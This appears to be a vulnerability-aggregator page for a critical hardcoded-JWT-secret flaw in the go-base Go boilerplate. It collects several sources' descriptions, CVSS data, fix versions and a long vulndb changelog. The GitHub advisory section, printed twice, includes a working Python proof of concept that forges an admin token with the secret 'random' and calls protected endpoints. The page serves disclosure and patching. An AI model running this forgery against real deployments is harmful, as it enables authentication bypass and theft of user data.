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CVE-2026-48031

Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery

9.1 CriticalFix available

go-base is a Go RESTful API Boilerplate template with JWT Authentication, backed by PostgreSQL. In versions prior to 2026-05-18, the JWT signing secret is hardcoded to the known string "random", letting any attacker who reads the public repository forge tokens for arbitrary users, including admin roles, and completely bypass authentication on all protected endpoints. This value is set in two places: the dev.env template (line 10) and a programmatic fallback in cmd/serve.go (line 35), so the application uses it even when no .env file is present. The original mitigation in auth/jwt/tokenauth.go (lines 22 to 25) only caught the exact string "random", letting other weak secrets through, and replaced it with an in-memory key that was not persisted, invalidating all tokens on every restart and effectively causing a denial-of-service. This issue has been fixed in version 2026-05-18.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.63%Up 0.6 points since Jun 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.1

Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery

go-base is a Go RESTful API Boilerplate template with JWT Authentication, backed by PostgreSQL. In versions prior to 2026-05-18, the JWT signing secret is hardcoded to the known string "random", letting any attacker who reads the public repository forge tokens for arbitrary users, including admin roles, and completely bypass authentication on all protected endpoints. This value is set in two places: the dev.env template (line 10) and a programmatic fallback in cmd/serve.go (line 35), so the application uses it even when no .env file is present. The original mitigation in auth/jwt/tokenauth.go (lines 22 to 25) only caught the exact string "random", letting other weak secrets through, and replaced it with an in-memory key that was not persisted, invalidating all tokens on every restart and effectively causing a denial-of-service. This issue has been fixed in version 2026-05-18.

Record
CVE-2026-48031
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-798
Updated
2026-11-02
EUVDEUVD-2026-52408 9.1

go-base is a Go RESTful API Boilerplate template with JWT Authentication, backed by PostgreSQL. In versions prior to 2026-05-18, the JWT signing secret is hardcoded to the known string "random", letting any attacker who reads the public repository forge tokens for arbitrary users, including admin roles, and completely bypass authentication on all protected endpoints. This value is set in two places: the dev.env template (line 10) and a programmatic fallback in cmd/serve.go (line 35), so the application uses it even when no .env file is present. The original mitigation in auth/jwt/tokenauth.go (lines 22 to 25) only caught the exact string "random", letting other weak secrets through, and replaced it with an in-memory key that was not persisted, invalidating all tokens on every restart and effectively causing a denial-of-service. This issue has been fixed in version 2026-05-18.

Record
EUVD-2026-52408
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-mqq6-462x-jxmm 9.1

Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery

Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation

Affected Component

  • github.com/dhax/go-base — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)
  • 1,685 stars on GitHub

Vulnerability Locations

| File | Line | Role | |------|------|------| | dev.env | 10 | AUTH_JWT_SECRET=random — template default shipped to all users | | cmd/serve.go | 35 | viper.SetDefault("auth_jwt_secret", "random") — code-level fallback | | auth/jwt/tokenauth.go | 22-25 | Weak mitigation: only checked literal "random", auto-generated non-persistent key | | auth/jwt/tokenauth.go | 28 | jwtauth.New("HS256", []byte(secret), nil) — creates JWT signer with the weak key | | pwdless/api.go | 203 | GenTokenPair() — issues access + refresh tokens signed with the weak key |

Data Flow

dev.env AUTH_JWT_SECRET=random
  OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
    │
    ▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
    │
    ▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
    │
    ▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
    │
    ▼
jwt/authenticator.go: Every authenticated request trusts the forged token

Description

The JWT signing secret is hardcoded to the string "random" in two independent locations:

  1. dev.env:10 — The template .env file sets AUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.

  2. cmd/serve.go:35 — viper.SetDefault("auth_jwt_secret", "random") provides a programmatic fallback. Even if the .env file is missing entirely, the application silently starts with "random" as the signing key.

The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:

  • (a) Single-value check: Only the exact string "random" was caught. Any other weak secret (e.g., "secret", "changeme", empty string) passed through unchecked.
  • (b) Non-persistent replacement: The auto-generated key was stored only in memory (randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.

An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.

Proof of Concept

import jwt
import requests

# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"

# Step 1: Forge an admin JWT token
payload = {
    "sub": "[email protected]",
    "roles": ["admin"],
    "iat": 9999999000,
    "exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")

# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}

# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}")  # 200 OK

# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}")  # Returns [email protected] profile

# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secret

Impact

  • Authentication Bypass: Forge tokens for any user, including admin roles
  • Confidentiality: Access all user data, profiles, and protected resources
  • Integrity: Modify any data accessible via the API
  • Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)

Fix (PR…

Record
GHSA-mqq6-462x-jxmm
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-798
Updated
2026-11-02
NVD 9.1

go-base is a Go RESTful API Boilerplate template with JWT Authentication, backed by PostgreSQL. In versions prior to 2026-05-18, the JWT signing secret is hardcoded to the known string "random", letting any attacker who reads the public repository forge tokens for arbitrary users, including admin roles, and completely bypass authentication on all protected endpoints. This value is set in two places: the dev.env template (line 10) and a programmatic fallback in cmd/serve.go (line 35), so the application uses it even when no .env file is present. The original mitigation in auth/jwt/tokenauth.go (lines 22 to 25) only caught the exact string "random", letting other weak secrets through, and replaced it with an in-memory key that was not persisted, invalidating all tokens on every restart and effectively causing a denial-of-service. This issue has been fixed in version 2026-05-18.

Record
CVE-2026-48031
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-798
Updated
2026-11-02
OSV 9.1

Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery

go-base is a Go RESTful API Boilerplate template with JWT Authentication, backed by PostgreSQL. In versions prior to 2026-05-18, the JWT signing secret is hardcoded to the known string "random", letting any attacker who reads the public repository forge tokens for arbitrary users, including admin roles, and completely bypass authentication on all protected endpoints. This value is set in two places: the dev.env template (line 10) and a programmatic fallback in cmd/serve.go (line 35), so the application uses it even when no .env file is present. The original mitigation in auth/jwt/tokenauth.go (lines 22 to 25) only caught the exact string "random", letting other weak secrets through, and replaced it with an in-memory key that was not persisted, invalidating all tokens on every restart and effectively causing a denial-of-service. This issue has been fixed in version 2026-05-18.

Record
CVE-2026-48031
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-798
Updated
2026-11-02
OSVGHSA-mqq6-462x-jxmm 9.1

Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery

Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation

Affected Component

  • github.com/dhax/go-base — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)
  • 1,685 stars on GitHub

Vulnerability Locations

| File | Line | Role | |------|------|------| | dev.env | 10 | AUTH_JWT_SECRET=random — template default shipped to all users | | cmd/serve.go | 35 | viper.SetDefault("auth_jwt_secret", "random") — code-level fallback | | auth/jwt/tokenauth.go | 22-25 | Weak mitigation: only checked literal "random", auto-generated non-persistent key | | auth/jwt/tokenauth.go | 28 | jwtauth.New("HS256", []byte(secret), nil) — creates JWT signer with the weak key | | pwdless/api.go | 203 | GenTokenPair() — issues access + refresh tokens signed with the weak key |

Data Flow

dev.env AUTH_JWT_SECRET=random
  OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
    │
    ▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
    │
    ▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
    │
    ▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
    │
    ▼
jwt/authenticator.go: Every authenticated request trusts the forged token

Description

The JWT signing secret is hardcoded to the string "random" in two independent locations:

  1. dev.env:10 — The template .env file sets AUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.

  2. cmd/serve.go:35 — viper.SetDefault("auth_jwt_secret", "random") provides a programmatic fallback. Even if the .env file is missing entirely, the application silently starts with "random" as the signing key.

The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:

  • (a) Single-value check: Only the exact string "random" was caught. Any other weak secret (e.g., "secret", "changeme", empty string) passed through unchecked.
  • (b) Non-persistent replacement: The auto-generated key was stored only in memory (randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.

An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.

Proof of Concept

import jwt
import requests

# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"

# Step 1: Forge an admin JWT token
payload = {
    "sub": "[email protected]",
    "roles": ["admin"],
    "iat": 9999999000,
    "exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")

# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}

# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}")  # 200 OK

# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}")  # Returns [email protected] profile

# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secret

Impact

  • Authentication Bypass: Forge tokens for any user, including admin roles
  • Confidentiality: Access all user data, profiles, and protected resources
  • Integrity: Modify any data accessible via the API
  • Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)

Fix (PR…

Record
GHSA-mqq6-462x-jxmm
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-798
Updated
2026-11-02
OSVGO-2026-5515 No score

Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery in github.com/dhax/go-base

Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery in github.com/dhax/go-base

Record
GO-2026-5515
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/dhax/go-base
Go
 before 0.0.0-20260517152733-cc82b9740fa6
0.0.0-20260517152733-cc82b9740fa6
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-48031 is a critical vulnerability (CVSS 9.1) in Dhax Go-base, published June 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.63%, the 50th percentile. Fixed in github.com/dhax/go-base 0.0.0-20260517152733-cc82b9740fa6.

References

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